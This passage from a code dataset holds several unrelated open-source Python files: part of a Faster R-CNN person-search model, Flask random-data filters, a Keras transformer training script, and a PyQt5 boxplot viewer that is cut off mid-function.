testing=rpn_pre_nms_top_n_test)\n rpn_post_nms_top_n = dict(\n training=rpn_post_nms_top_n_train, testing=rpn_post_nms_top_n_test)\n rpn = self._set_rpn(\n rpn_anchor_generator, rpn_head,\n rpn_fg_iou_thresh, rpn_bg_iou_thresh,\n rpn_batch_size_per_image, rpn_positive_fraction,\n rpn_pre_nms_top_n, rpn_post_nms_top_n, rpn_nms_thresh)\n\n # Construct ROI head \n roi_heads = self._set_roi_heads(\n embedding_head, reid_regressor, \n box_roi_pool, feat_head, box_predictor,\n box_fg_iou_thresh, box_bg_iou_thresh,\n box_batch_size_per_image, box_positive_fraction,\n bbox_reg_weights,\n box_score_thresh, box_nms_thresh, box_detections_per_img)\n\n # Construct image transformer\n transform = GeneralizedRCNNTransform(\n min_size, max_size, image_mean, image_std)\n\n super(FasterRCNN, self).__init__(\n backbone, rpn, roi_heads, transform)\n\n def _set_rpn(self, *args):\n return RegionProposalNetwork(*args)\n\n def _set_roi_heads(self, *args):\n return Roiheads(*args)\n\n def ex_feat(self, images, targets, mode='det'):\n \"\"\"\n Arguments:\n images (list[Tensor]): images to be processed\n targets (list[Dict[Tensor]]): ground-truth boxes present in the image (optional)\n Returns:\n result: (tuple(Tensor)): list of 1 x d embedding for the RoI of each image\n\n \"\"\"\n if mode == 'det':\n return self.ex_feat_by_roi_pooling(images, targets)\n elif mode == 'reid':\n return self.ex_feat_by_img_crop(images, targets)\n\n def ex_feat_by_roi_pooling(self, images, targets):\n images, targets = self.transform(images, targets)\n features = self.backbone(images.tensors)\n if isinstance(features, torch.Tensor):\n features = OrderedDict([(0, features)])\n proposals = [x['boxes'] for x in targets]\n\n roi_pooled_features = self.roi_heads.box_roi_pool(\n features, proposals, images.image_sizes)\n rcnn_features = self.roi_heads.feat_head(roi_pooled_features)\n \n if isinstance(rcnn_features, torch.Tensor):\n rcnn_features = OrderedDict([('feat_res5', rcnn_features)])\n\n embeddings, _ = self.roi_heads.embedding_head(rcnn_features)\n embeddings = embeddings.squeeze(3).squeeze(2)\n return embeddings.split(1, 0)\n\n def ex_feat_by_img_crop(self, images, targets):\n assert len(images) == 1, 'Only support batch_size 1 in this mode'\n\n images, targets = self.transform(images, targets)\n x1, y1, x2, y2 = map(lambda x: int(round(x)),\n targets[0]['boxes'][0].tolist())\n input_tensor = images.tensors[:, :, y1:y2 + 1, x1:x2 + 1]\n features = self.backbone(input_tensor)\n features = features.values()[0]\n rcnn_features = self.roi_heads.feat_head(features)\n if isinstance(rcnn_features, torch.Tensor):\n rcnn_features = OrderedDict([('feat_res5', rcnn_features)])\n \n embeddings, _ = self.roi_heads.embedding_head(rcnn_features)\n embeddings = embeddings.squeeze(3).squeeze(2)\n return embeddings.split(1, 0)\n\nclass Roiheads(RoIHeads):\n\n def __init__(self, embedding_head, reid_regressor, *args, **kwargs):\n super(Roiheads, self).__init__(*args, **kwargs)\n self.embedding_head = embedding_head\n self.reid_regressor = reid_regressor\n\n @property\n def feat_head(self): # re-name\n return self.box_head\n\n def _flatten_fc_input(self, x):\n if x.ndimension() == 4:\n assert list(x.shape[2:]) == [1, 1]\n return x.flatten(start_dim=1)\n return x # ndim = 2, (N, d)\n\n def select_training_samples(self,\n proposals, # type: List[Tensor]\n targets # type: Optional[List[Dict[str, Tensor]]]\n ):\n # type: (...) -> Tuple[List[Tensor], List[Tensor], List[Tensor], List[Tensor]]\n self.check_targets(targets)\n assert targets is not None\n dtype = proposals[0].dtype\n device = proposals[0].device\n\n gt_boxes = [t[\"boxes\"].to(dtype) for t in targets]\n if self.training: \n gt_cnts = [t[\"cnt\"].to(device) for t in targets]\n gt_labels = [t[\"labels\"].to(device) for t in targets]\n else: gt_labels = [t[\"labels\"] for t in targets]\n\n # append ground-truth bboxes to propos\n proposals = self.add_gt_proposals(proposals, gt_boxes)\n\n # get matching gt indices for each proposal\n matched_idxs, cnts = self.assign_targets_to_proposals(proposals, gt_boxes, gt_cnts)\n _, labels = self.assign_targets_to_proposals(proposals, gt_boxes, gt_labels)\n\n # sample a fixed proportion of positive-negative proposals\n sampled_inds = self.subsample(cnts)\n matched_gt_boxes = []\n num_images = len(proposals)\n for img_id in range(num_images):\n img_sampled_inds = sampled_inds[img_id]\n proposals[img_id] = proposals[img_id][img_sampled_inds]\n cnts[img_id] = cnts[img_id][img_sampled_inds]\n labels[img_id] = labels[img_id][img_sampled_inds]\n matched_idxs[img_id] = matched_idxs[img_id][img_sampled_inds]\n\n gt_boxes_in_image = gt_boxes[img_id]\n if gt_boxes_in_image.numel() == 0:\n gt_boxes_in_image = torch.zeros((1, 4), dtype=dtype, device=device)\n matched_gt_boxes.append(gt_boxes_in_image[matched_idxs[img_id]])\n\n regression_targets = self.box_coder.encode(matched_gt_boxes, proposals)\n return proposals, matched_idxs, cnts, labels, regression_targets\n\n def forward(self, epoch, features, proposals, images, targets=None):\n \"\"\"\n Arguments:\n features (List[Tensor])\n proposals (List[Tensor[N, 4]])\n image_shapes (List[Tuple[H, W]])\n targets (List[Dict])\n \"\"\"\n image_shapes=images.image_sizes\n \n if self.training:\n proposals, matched_idxs, cnts, labels, regression_targets = \\\n self.select_training_samples(proposals, targets)\n \n rcnn_features = self.feat_head(\n self.box_roi_pool(features, proposals, image_shapes))\n\n if self.training:\n result, losses = [], {}\n det_labels = [(y != 0).long() for y in cnts]\n\n # regression bbox delta\n box_regression = self.box_predictor(rcnn_features['feat_res5'])\n \n # embeddings: re-ID features\n # class_logits: detection logits\n embeddings_, class_logits = self.embedding_head(rcnn_features, det_labels)\n cls_scores = F.softmax(class_logits, dim=1)[:,[1]]\n \n loss_detection, loss_box_reg = \\\n rcnn_loss(class_logits.squeeze(3).squeeze(2), box_regression,\n det_labels, regression_targets)\n \n cls_scores = cls_scores.squeeze(3).squeeze(2)\n embeddings_ = embeddings_.squeeze(3).squeeze(2)\n scene_name=[ [str(target['im_name'])]*128 for target in targets]\n scene_num=[ target['imcnt'].repeat(128) for target in targets]\n scene_name=np.array(scene_name)\n\n loss_reid = self.reid_regressor(epoch, embeddings_, cnts) \n losses = dict(loss_detection=loss_detection,\n loss_box_reg=loss_box_reg,\n loss_reid=loss_reid)\n \n else:\n box_regression = self.box_predictor(rcnn_features['feat_res5'])\n embeddings_, class_logits = self.embedding_head(rcnn_features, None)\n embeddings_ = embeddings_.squeeze(3).squeeze(2)\n class_logits = class_logits.squeeze(3).squeeze(2)\n\n result, losses = [], {}\n boxes, scores, embeddings, labels = \\\n self.postprocess_detections(class_logits, box_regression, embeddings_,\n proposals, image_shapes)\n num_images = len(boxes)\n for i in range(num_images):\n result.append(\n dict(\n boxes=boxes[i],\n labels=labels[i],\n scores=scores[i],\n embeddings=embeddings[i],\n )\n )\n\n return result, losses\n\n def postprocess_detections(self, class_logits, box_regression, embeddings_, proposals, image_shapes):\n device = class_logits.device\n\n boxes_per_image = [len(boxes_in_image) for boxes_in_image in proposals]\n pred_boxes = self.box_coder.decode(box_regression, proposals)\n\n class_logits = F.softmax(class_logits, dim=1)\n pred_scores = class_logits[:,1]\n # print('pred_scores.shape', pred_scores.shape)\n embeddings_ = embeddings_ * pred_scores.view(-1, 1) # CWS\n\n # split boxes and scores per image\n pred_boxes = pred_boxes.split(boxes_per_image, 0)\n pred_scores = pred_scores.split(boxes_per_image, 0)\n pred_embeddings = embeddings_.split(boxes_per_image, 0)\n\n all_boxes = []\n all_scores = []\n all_labels = []\n all_embeddings = []\n for boxes, scores, embeddings, image_shape in zip(pred_boxes, pred_scores, pred_embeddings, image_shapes):\n boxes = box_ops.clip_boxes_to_image(boxes, image_shape)\n\n # create labels for each prediction\n labels = torch.ones(scores.size(0), device=device)\n\n # remove predictions with the background label\n boxes = boxes[:, 1:]\n scores = scores.unsqueeze(1)\n labels = labels.unsqueeze(1)\n # embeddings are already personized.\n\n # batch everything, by making every class prediction be a separate\n # instance\n boxes = boxes.reshape(-1, 4)\n scores = scores.flatten()\n labels = labels.flatten()\n embeddings = embeddings.reshape(-1, self.embedding_head.dim)\n\n # remove low scoring boxes\n inds = torch.nonzero(scores > self.score_thresh).squeeze(1)\n boxes, scores, labels, embeddings = boxes[\n inds], scores[inds], labels[inds], embeddings[inds]\n\n # remove empty boxes\n keep = box_ops.remove_small_boxes(boxes, min_size=1e-2)\n boxes, scores, labels, embeddings = boxes[keep], scores[keep], \\\n labels[keep], embeddings[keep]\n\n # non-maximum suppression, independently done per class\n keep = box_ops.batched_nms(boxes, scores, labels, self.nms_thresh)\n \n # keep only topk scoring predictions\n keep = keep[:self.detections_per_img]\n boxes, scores, labels, embeddings = boxes[keep], scores[keep], \\\n labels[keep], embeddings[keep]\n\n all_boxes.append(boxes)\n all_scores.append(scores)\n all_labels.append(labels)\n all_embeddings.append(embeddings)\n\n return all_boxes, all_scores, all_embeddings, all_labels\n\n\nclass EmbeddingProj(nn.Module):\n\n def __init__(self, featmap_names=['feat_res5'],\n in_channels=[2048],\n dim=256,\n cls_scalar=1.0):\n super(EmbeddingProj, self).__init__()\n self.featmap_names = featmap_names\n self.in_channels = list(map(int, in_channels))\n self.dim = int(dim)\n self.cls_scalar = cls_scalar\n \n # Detection projector\n self.projectors = nn.ModuleDict()\n indv_dims = self._split_embedding_dim()\n for ftname, in_chennel, indv_dim in zip(self.featmap_names, self.in_channels, indv_dims):\n indv_dim = int(indv_dim)\n proj = nn.Conv2d(in_chennel, 2, 1, 1, 0)\n init.normal_(proj.weight, std=0.01)\n init.constant_(proj.bias, 0)\n self.projectors[ftname] = proj\n\n # Re-ID projector\n self.projectors_reid = nn.ModuleDict()\n indv_dims = self._split_embedding_dim()\n for ftname, in_chennel, indv_dim in zip(self.featmap_names, self.in_channels, indv_dims):\n indv_dim = int(indv_dim)\n proj = nn.Sequential(\n nn.Conv2d(in_chennel, indv_dim, 1, 1, 0),\n nn.BatchNorm2d(indv_dim))\n init.normal_(proj[0].weight, std=0.01)\n init.normal_(proj[1].weight, std=0.01)\n init.constant_(proj[0].bias, 0)\n init.constant_(proj[1].bias, 0)\n self.projectors_reid[ftname] = proj\n\n\n def forward(self, featmaps, targets=None):\n '''\n Arguments:\n featmaps: OrderedDict[Tensor], and in featmap_names you can choose which\n featmaps to use\n Returns:\n tensor of size (BatchSize, dim), L2 normalized embeddings.\n tensor of size (BatchSize, ) rescaled norm of embeddings, as class_logits.\n '''\n \n if targets is not None:\n # Train mode\n targets = torch.cat(targets,dim=0)\n \n outputs = []\n for k, v in featmaps.items():\n v = F.adaptive_max_pool2d(v, 1)\n outputs.append(\n self.projectors[k](v)\n )\n # dectection logits\n projected = sum(outputs) * self.cls_scalar\n # re-ID embedding\n outputs_reid = []\n for k, v in featmaps.items():\n v = F.adaptive_max_pool2d(v, 1)\n outputs_reid.append(\n self.projectors_reid[k](v)\n )\n embeddings_reid = torch.cat(outputs_reid, dim=1)\n \n embeddings_reid = embeddings_reid / \\\n embeddings_reid.norm(dim=1, keepdim=True).clamp(min=1e-12)\n return embeddings_reid, projected\n\n def _flatten_fc_input(self, x):\n if x.ndimension() == 4:\n x = F.adaptive_max_pool2d(x, 1)\n assert list(x.shape[2:]) == [1, 1]\n return x.flatten(start_dim=1)\n return x # ndim = 2, (N, d)\n\n def _split_embedding_dim(self):\n parts = len(self.in_channels)\n tmp = [self.dim / parts] * parts\n if sum(tmp) == self.dim:\n return tmp\n else:\n res = self.dim % parts\n for i in range(1, res + 1):\n tmp[-i] += 1\n assert sum(tmp) == self.dim\n return tmp\n\n\nclass BboxRegressor(nn.Module):\n \"\"\"\n bounding box regression layers, without classification layer.\n for Fast R-CNN.\n Arguments:\n in_channels (int): number of input channels\n num_classes (int): number of output classes (including background)\n default = 2 for pedestrian detection\n \"\"\"\n def __init__(self, in_channels, num_classes=2, RCNN_bbox_bn=True):\n super(BboxRegressor, self).__init__()\n if RCNN_bbox_bn:\n self.bbox_pred = nn.Sequential(\n nn.Linear(in_channels, 4 * num_classes),\n nn.BatchNorm1d(4 * num_classes))\n init.normal_(self.bbox_pred[0].weight, std=0.01)\n init.normal_(self.bbox_pred[1].weight, std=0.01)\n init.constant_(self.bbox_pred[0].bias, 0)\n init.constant_(self.bbox_pred[1].bias, 0)\n else:\n self.bbox_pred = nn.Linear(in_channels, num_classes * 4)\n init.normal_(self.bbox_pred.weight, std=0.01)\n init.constant_(self.bbox_pred.bias, 0)\n \n def forward(self, x):\n if x.ndimension() == 4:\n if list(x.shape[2:]) != [1, 1]:\n x = F.adaptive_avg_pool2d(x, output_size=1)\n x = x.flatten(start_dim=1)\n bbox_deltas = self.bbox_pred(x)\n return bbox_deltas\n\n\ndef rcnn_loss(class_logits, box_regression, labels, regression_targets):\n \"\"\"\n Computes the loss for Norm-Aware R-CNN.\n Arguments:\n class_logits (Tensor), size = (N, )\n box_regression (Tensor)\n Returns:\n classification_loss (Tensor)\n box_loss (Tensor)\n \"\"\"\n labels = torch.cat(labels, dim=0)\n regression_targets = torch.cat(regression_targets, dim=0)\n\n classification_loss = F.cross_entropy(\n class_logits, labels.long())\n\n sampled_pos_inds_subset = torch.nonzero(labels > 0).squeeze(1)\n labels_pos = labels[sampled_pos_inds_subset]\n N = class_logits.size(0)\n box_regression = box_regression.reshape(N, -1, 4)\n\n box_loss = F.smooth_l1_loss(\n box_regression[sampled_pos_inds_subset, labels_pos],\n regression_targets[sampled_pos_inds_subset],\n reduction=\"sum\",\n )\n box_loss = box_loss / labels.numel()\n\n return classification_loss, box_loss\n\ndef get_model(args, training=True, pretrained_backbone=True):\n phase_args = args.train if training else args.test\n \n # Resnet50\n resnet_part1, resnet_part2 = resnet_backbone('resnet50', \n pretrained_backbone, \n GAP=True)\n\n ##### Region Proposal Network ######\n # Anchor generator (Default)\n rpn_anchor_generator = AnchorGenerator(\n (tuple(args.anchor_scales),), \n (tuple(args.anchor_ratios),))\n # 2D embedding head\n backbone = resnet_part1\n # 1D embedding head\n rpn_head = RPNHead(\n resnet_part1.out_channels,\n rpn_anchor_generator.num_anchors_per_location()[0])\n\n ########## Bbox Network #########\n # Bbox regressor\n box_predictor = BboxRegressor(\n 2048, num_classes=2,\n RCNN_bbox_bn=args.rcnn_bbox_bn)\n # Bbox pooler\n box_roi_pool = MultiScaleRoIAlign(\n featmap_names=['feat_res4'],\n output_size=[24,8],\n sampling_ratio=2)\n # 2D embedding head\n feat_head = resnet_part2\n # 1D embedding head\n embedding_head = EmbeddingProj(\n featmap_names=['feat_res4', 'feat_res5'],\n in_channels=[1024, 2048],\n dim=args.num_features,\n cls_scalar=args.cls_scalar)\n # ReID regressor\n reid_regressor = Regressor(args.use_hnm, args.use_hpm, args.hard_neg, args.sim_thrd, args.co_scale, args.num_features)\n\n model = FasterRCNN( \n # Region proposal network\n backbone=backbone,\n min_size=phase_args.min_size, max_size=phase_args.max_size,\n # Anchor generator\n rpn_anchor_generator=rpn_anchor_generator,\n # RPN parameters\n rpn_head=rpn_head,\n rpn_pre_nms_top_n_train=args.train.rpn_pre_nms_top_n,\n rpn_post_nms_top_n_train=args.train.rpn_post_nms_top_n,\n rpn_pre_nms_top_n_test=args.test.rpn_pre_nms_top_n,\n rpn_post_nms_top_n_test=args.test.rpn_post_nms_top_n,\n rpn_nms_thresh=phase_args.rpn_nms_thresh,\n rpn_fg_iou_thresh=args.train.rpn_positive_overlap,\n rpn_bg_iou_thresh=args.train.rpn_negative_overlap,\n rpn_batch_size_per_image=args.train.rpn_batch_size,\n rpn_positive_fraction=args.train.rpn_fg_fraction,\n # Bbox network\n box_predictor=box_predictor,\n box_roi_pool=box_roi_pool,\n feat_head=feat_head,\n embedding_head=embedding_head,\n box_score_thresh=args.train.fg_thresh,\n box_nms_thresh=args.test.nms, # inference only\n box_detections_per_img=phase_args.rpn_post_nms_top_n, # use all\n box_fg_iou_thresh=args.train.bg_thresh_hi,\n box_bg_iou_thresh=args.train.bg_thresh_lo,\n box_batch_size_per_image=args.train.rcnn_batch_size,\n box_positive_fraction=args.train.fg_fraction, # for proposals\n bbox_reg_weights=args.train.box_regression_weights,\n reid_regressor=reid_regressor\n )\n if training:\n model.train()\n else:\n model.eval()\n \n return model\n", "source": "VIP-Lab-UNIST/CUCPS_public", "license": "MIT"} {"text": "\"\"\"Filters for generating random data.\"\"\"\n\n\n\nfrom random import choice, randrange\n\n\ndef rand_choice(options):\n \"\"\"Pick a random value from a range of numbers, like pythons' stdlib.\n\n Equivalent to Djangos' random.\n\n Args:\n options (list): A list of values.\n\n Returns:\n randchoice (mixed): The random choice, selected from the given list.\n \"\"\"\n return choice(options)\n\n\ndef rand_name_title(name):\n \"\"\"Pick a random title for a given name (e.g. ESQ. MD, etc...).\n\n Source: https://www.lehigh.edu/lewis/suffix.htm\n\n Args:\n options (str): A name, or other string.\n\n Returns:\n name (str): The name, with a random suffixed appended.\n \"\"\"\n titles = [\n 'B.V.M.', 'CFRE', 'CLU', 'CPA', 'C.S.C.', 'C.S.J.', 'D.C.', 'D.D.',\n 'D.D.S.', 'D.M.D.', 'D.O.', 'D.V.M.', 'Ed.D.', 'Esq.', 'II', 'III',\n 'IV', 'Inc.', 'J.D.', 'Jr.', 'LL.D.', 'Ltd.', 'M.D.', 'O.D.',\n 'O.S.B.', 'P.C.', 'P.E.', 'Ph.D.', 'Ret.', 'R.G.S', 'R.N.', 'R.N.C.',\n 'S.H.C.J.', 'S.J.', 'S.N.J.M.', 'Sr.', 'S.S.M.O.', 'USA', 'USAF',\n 'USAFR', 'USAR', 'USCG', 'USMC', 'USMCR', 'USN', 'USNR',\n ]\n return '{0} {1}'.format(name, choice(titles))\n\n\ndef rand_color(alpha=100):\n \"\"\"Return a random CSS friendly RGB color value.\n\n Args:\n alpha (int): The optional alpha value for the RGBA string.\n\n Returns:\n str: The RGB triplet for use with inline css.\n (e.g. rgba(10, 20, 30, 100))\n \"\"\"\n return 'rgba({0}, {1}, {2}, {3})'.format(\n randrange(0, 255), randrange(0, 255), randrange(0, 255), alpha)\n", "source": "up2cat/flask_extras", "license": "MIT"} {"text": "from keras.callbacks import ModelCheckpoint, TensorBoard\nfrom keras.optimizers import Adam\n\nfrom transformer_keras import get_or_create, save_config\nfrom transformer_keras.custom.callbacks import SGDRScheduler, LRFinder, WatchScheduler, LRSchedulerPerStep\nfrom transformer_keras.data_loader import DataLoader\n\nif __name__ == '__main__':\n train_file_path = \"../data/en2de.s2s.txt\"\n valid_file_path = \"../data/en2de.s2s.valid.txt\"\n config_save_path = \"../data/default-config.json\"\n weights_save_path = \"../models/weights.{epoch:02d}-{val_loss:.2f}.h5\"\n init_weights_path = \"../models/weights.36-3.04.h5\"\n\n src_dict_path = \"../data/dict_en.json\"\n tgt_dict_path = \"../data/dict_de.json\"\n batch_size = 64\n epochs = 32\n\n # Data Loader\n data_loader = DataLoader(src_dictionary_path=src_dict_path,\n tgt_dictionary_path=tgt_dict_path,\n batch_size=batch_size)\n\n steps_per_epoch = 28998 // data_loader.batch_size\n validation_steps = 1014 // data_loader.batch_size\n\n config = {\n \"src_vocab_size\": data_loader.src_vocab_size,\n \"tgt_vocab_size\": data_loader.tgt_vocab_size,\n \"model_dim\": 512,\n \"src_max_len\": 70,\n \"tgt_max_len\": 70,\n \"num_layers\": 2,\n \"num_heads\": 8,\n \"ffn_dim\": 512,\n \"dropout\": 0.1\n }\n\n # Get transformer use config and load weights if exists.\n transformer = get_or_create(config,\n optimizer=Adam(1e-3, 0.9, 0.98, epsilon=1e-9),\n weights_path=init_weights_path)\n\n # save config\n save_config(transformer, config_save_path)\n\n ck = ModelCheckpoint(weights_save_path,\n save_best_only=True,\n save_weights_only=True,\n monitor='val_loss',\n verbose=0)\n log = TensorBoard(log_dir='../logs',\n histogram_freq=0,\n batch_size=data_loader.batch_size,\n write_graph=True,\n write_grads=False)\n\n # Use LRFinder to find effective learning rate\n lr_finder = LRFinder(1e-6, 1e-2, steps_per_epoch, epochs=3) # => (3e-5, 5e-4)\n # lr_scheduler = WatchScheduler(lambda _, lr: lr / 2, min_lr=3e-5, max_lr=5e-4, watch=\"val_loss\", watch_his_len=3)\n # lr_scheduler = LRSchedulerPerStep(512)\n lr_scheduler = SGDRScheduler(min_lr=4e-5, max_lr=5e-4, steps_per_epoch=steps_per_epoch,\n cycle_length=15,\n lr_decay=0.8,\n mult_factor=1.5)\n\n transformer.model.fit_generator(data_loader.generator(train_file_path),\n epochs=epochs,\n steps_per_epoch=steps_per_epoch,\n validation_data=data_loader.generator(valid_file_path),\n validation_steps=validation_steps,\n callbacks=[ck, log, lr_scheduler])\n\n # lr_finder.plot_loss()\n # lr_finder.plot_lr()\n", "source": "huanghao128/transformer-keras", "license": "Apache-2.0"} {"text": "import functools\nimport math\nimport os\nfrom operator import itemgetter\nfrom threading import Lock\n\nimport numpy as np\nimport pandas as pd\nimport pyqtgraph as pg\nimport pyqtgraph.exporters\nfrom PyQt5 import QtGui\nfrom PyQt5.Qt import QPointF, QRectF, Qt, pyqtSignal, QWidget, QFileDialog, QStandardItemModel, QStandardItem, \\\n QMessageBox\n\nfrom ..ui import UIFormBoxplot\n\n\ndef _q_value(s, name):\n values = s[name]\n q1, q2, q3 = np.percentile(values, (25, 50, 75), interpolation='midpoint')\n iqr = q3 - q1\n lower = q1 - 1.5 * iqr\n upper = q3 + 1.5 * iqr\n min_ = min(values)\n max_ = max(values)\n mean_ = np.mean(values)\n std_ = np.std(values)\n errors = s[(s[name] > upper) | (s[name] < lower)][name]\n return (lower, q1, q2, q3, upper), (min_, max_, mean_, std_), list(errors)\n\n\ndef get_box_group(frame, x, y) -> pd.Series:\n return frame.groupby([x]).apply(functools.partial(_q_value, name=y))\n\n\nclass CandlestickItem(pg.GraphicsObject):\n boxClicked = pyqtSignal(QRectF, float, tuple, tuple, list)\n\n def __init__(self, data):\n pg.GraphicsObject.__init__(self)\n self.data = data\n self.picture = QtGui.QPicture()\n self.x_min, self.x_max = +math.inf, -math.inf\n self.y_min, self.y_max = +math.inf, -math.inf\n\n self.boxs = []\n\n self.gen_picture()\n\n def gen_picture(self):\n self.picture = QtGui.QPicture()\n self.boxs = []\n p = QtGui.QPainter(self.picture)\n\n try:\n sx = sorted(map(itemgetter(0), self.data))\n try:\n dx = min([xb - xa for xa, xb in zip(sx[:-1], sx[1:])])\n except ValueError:\n dx = 1\n\n w, sw, kw = dx * 0.7, dx * 0.55, dx * 0.35\n old_brush = p.brush()\n for x, (lower, q1, q2, q3, upper), (min_, max_, mean_, std_), es in self.data:\n _y_min, _y_max = lower, upper\n iqr = q3 - q1\n\n p.setPen(pg.mkPen('w'))\n p.setBrush(old_brush)\n if q3 != upper:\n p.drawLine(QPointF(x, q3), QPointF(x, upper))\n if q1 != lower:\n p.drawLine(QPointF(x, q1), QPointF(x, lower))\n p.drawLine(QPointF(x - sw / 2, upper), QPointF(x + sw / 2, upper))\n p.drawLine(QPointF(x - sw / 2, lower), QPointF(x + sw / 2, lower))\n\n p.setPen(pg.mkPen('w'))\n p.setBrush(pg.mkBrush('#999999'))\n p.drawRect(QRectF(x - w / 2, q1, w, q2 - q1))\n p.drawRect(QRectF(x - w / 2, q2, w, q3 - q2))\n\n if min_ >= q1 - 3 * iqr:\n _y_min = min(_y_min, min_)\n p.setPen(pg.mkPen('g'))\n p.drawLine(QPointF(x - sw / 2, min_), QPointF(x + sw / 2, min_))\n\n if max_ <= q3 + 3 * iqr:\n _y_max = max(_y_max, max_)\n p.setPen(pg.mkPen('r'))\n p.drawLine(QPointF(x - sw / 2, max_), QPointF(x + sw / 2, max_))\n\n p.setPen(pg.mkPen('b'))\n p.drawLine(QPointF(x - sw / 2, mean_), QPointF(x + sw / 2, mean_))\n\n self.x_min = min(self.x_min, x - w / 2)\n self.x_max = max(self.x_max, x + w / 2)\n self.y_min = min(self.y_min, _y_min)\n self.y_max = max(self.y_max, _y_max)\n current_box = QRectF(x - w / 2, q1, w, q3 - q1)\n self.boxs.append(\n (\n (x - w / 2, q1, w, q3 - q1),\n current_box,\n x,\n (lower, q1, q2, q3, upper),\n (min_, max_, mean_, std_),\n es\n )\n )\n\n finally:\n p.end()\n\n def paint(self, p, *args):\n p.drawPicture(0, 0, self.picture)\n\n def boundingRect(self):\n return QRectF(self.picture.boundingRect())\n\n def mouseClickEvent(self, ev):\n if ev.button() == Qt.LeftButton:\n px, py = ev.pos().x(), ev.pos().y()\n data, pbox = None, None\n for (x_, y_, w_, h_), pbox, x, qs, mx, es in self.boxs:\n if x_ <= px <= x_ + w_ and y_ <= py <= y_ + h_:\n data = (x, qs, mx, es)\n break\n\n if data is not None:\n ev.accept()\n x, qs, mx, es = data\n self.boxClicked.emit(pbox, x, qs, mx, es)\n else:\n ev.ignore()\n else:\n ev.ignore()\n\n\nclass FormBoxplot(QWidget, UIFormBoxplot):\n def __init__(self):\n QWidget.__init__(self)\n self.__lock = Lock()\n self.setupUi(self)\n self._init()\n\n def _init(self):\n self._init_window_size()\n self._init_tabs()\n self._init_button_open()\n self._init_combo_x()\n self._init_combo_y()\n self._init_widget_graph()\n self._init_button_display()\n self._init_button_export()\n self._init_button_show_errors()\n\n def _init_window_size(self):\n self.setFixedSize(self.width(), self.height())\n self.setMaximumSize(self.width(), self.height())\n self.setWindowFlags(self.windowFlags() & ~Qt.WindowMaximizeButtonHint)\n\n def _init_tabs(self):\n self.tabs_pages.setCurrentIndex(0)\n\n def _init_button_open(self):\n def _open():\n filename, _ = QFileDialog.getOpenFileName(\n self, '\u6570\u636e\u52a0\u8f7d', filter='*.csv', initialFilter='*.csv')\n if filename:\n with self.__lock:\n self.button_open.setEnabled(False)\n self.button_display.setEnabled(False)\n\n df = pd.read_csv(filename)\n\n n = len(df)\n names = [name for name in df.columns]\n m = len(names)\n model = QStandardItemModel(n, m)\n model.setHorizontalHeaderLabels(names)\n\n for i in range(n):\n for j, name in enumerate(names):\n item = QStandardItem(str(df[name][i]))\n item.setEditable(False)\n model.setItem(i, j, item)\n\n self.table_data.setProperty('data', df)\n self.table_data.setProperty('names', names)\n self.table_data.setModel(model)\n\n self.combo_x.clear()\n for name in names:\n self.combo_x.addItem(name)\n\n self.combo_y.clear()\n for name in names:\n self.combo_y.addItem(name)\n\n data_okay = len(names) > 0 and len(df) > 0\n self.button_open.setEnabled(True)\n self.combo_x.setEnabled(data_okay)\n self.combo_y.setEnabled(data_okay)\n self.button_display.setEnabled(data_okay)\n self.button_export.setEnabled(False)\n graph = self.widget_graph.property('graph')\n if graph is not None:\n graph.deleteLater()\n QMessageBox.information(self, '\u6570\u636e\u52a0\u8f7d', '\u6570\u636e\u52a0\u8f7d\u5b8c\u6bd5\uff01')\n\n self.button_open.clicked.connect(_open)\n\n def _init_combo_x(self):\n self.combo_x.view().setVerticalScrollBarPolicy(Qt.ScrollBarAsNeeded)\n\n def _init_combo_y(self):\n self.combo_y.view().setVerticalScrollBarPolicy(Qt.ScrollBarAsNeeded)\n\n def _init_widget_graph(self):\n self.widget_graph.setProperty('graph', None)\n\n def _init_button_display(self):\n def _click():\n with self.__lock:\n xname = self.combo_x.currentText()\n yname = self.combo_y.currentText()\n\n df = self.table_data.property('data')[[xname, yname]]\n dfc = df[(df[xname] >= 0.0) & (df[yname] >= 0.0)]\n self.button_export.setEnabled(False)\n graph = self.widget_graph.property('graph')\n if graph is not None:\n graph.deleteLater()\n\n view = pg.GraphicsLayoutWidget(self.widget_graph, show=True,\n size=(self.widget_graph.width(), self.widget_graph.height()))\n view.addLabel(yname, angle=-90, rowspan=1)\n w1 = view.addPlot()\n view.nextRow()\n view.addLabel(xname, col=1, rowspan=1)\n self.widget_graph.setProperty('graph', view)\n\n series: pd.Series = get_box_group(dfc, xname, yname)\n item = CandlestickItem([(x, qs, mx, es) for x, (qs, mx, es) in series.items()])\n\n clicked_pen = pg.mkPen('b', width=2)\n last_box = None\n\n def _box_click(box: QRectF, x, qs, mx, es):\n lower, q1, q2, q3, upper = qs\n min_, max_, mean_, std_ = mx\n\n self.label_x_value.setText(f'{xname}: {x}')\n self.label_valid_total.setText(f'\u6709\u6548 / \u603b\u91cf: {len(dfc)} / {len(df)}')\n self.label_max.setText(f'\u6700\u5927\u503c: {max_}')\n self.label_min.setText(f'\u6700\u5c0f\u503c: {min_}')\n self.label_mean.setText(f'\u5747\u503c: {mean_}')\n self.label_std.setText(f'\u6807\u51c6\u5dee: {std_}')\n self.label_qs.setText(f'\u4e00\u5206 / \u4e8c\u5206 / \u4e09\u5206: %.3f / %.3f / %.3f' % (q1, q2, q3))\n self.label_bound.setText(f'\u4e0b\u754c / \u4e0a\u754c: %.4f / %.4f' % (lower, upper))\n self.label_errors.setText(f'\u5f02\u5e38\u503c\u6570\u91cf: {len(es)}')\n self.label_errors.setProperty('es', es)\n self.button_show_errors.setEnabled(True)\n\n item.boxClicked.connect(_box_click)\n w1.addItem(item)\n\n dx = item.x_max - item.x_min\n w1.setXRange(item.x_min - dx * 0.1, item.x_max + dx * 0.1)\n\n dy = item.y_max - item.y_min\n w1.setYRange(item.y_min - dy * 0.1, item.y_max + dy * 0.1)\n\n self.tabs_pages.setCurrentIndex(1)\n self.label_valid_total.setText(f'valid / total: {len(dfc)} / {len(df)}')\n self.button_export.setEnabled(True)\n QMessageBox.information(self, '\u663e\u793a\u7bb1\u7ebf\u56fe', '\u7bb1\u7ebf\u56fe\u663e\u793a\u5b8c\u6bd5\uff01')\n\n self.button_display.clicked.connect(_click)\n\n def _init_button_export(self):\n def _export():\n with self.__lock:\n view: pg.GraphicsLayoutWidget = self.widget_graph.property('graph')\n\n filename, filter_ = QFileDialog.getSaveFileName(\n self, '\u5bfc\u51fa\u56fe\u50cf',\n filter='SVG\u77e2\u91cf\u56fe\u7247 (*.svg);;PNG\u56fe\u7247 (*.png)',\n initialFilter='SVG\u77e2\u91cf\u56fe\u7247 (*.svg)',\n 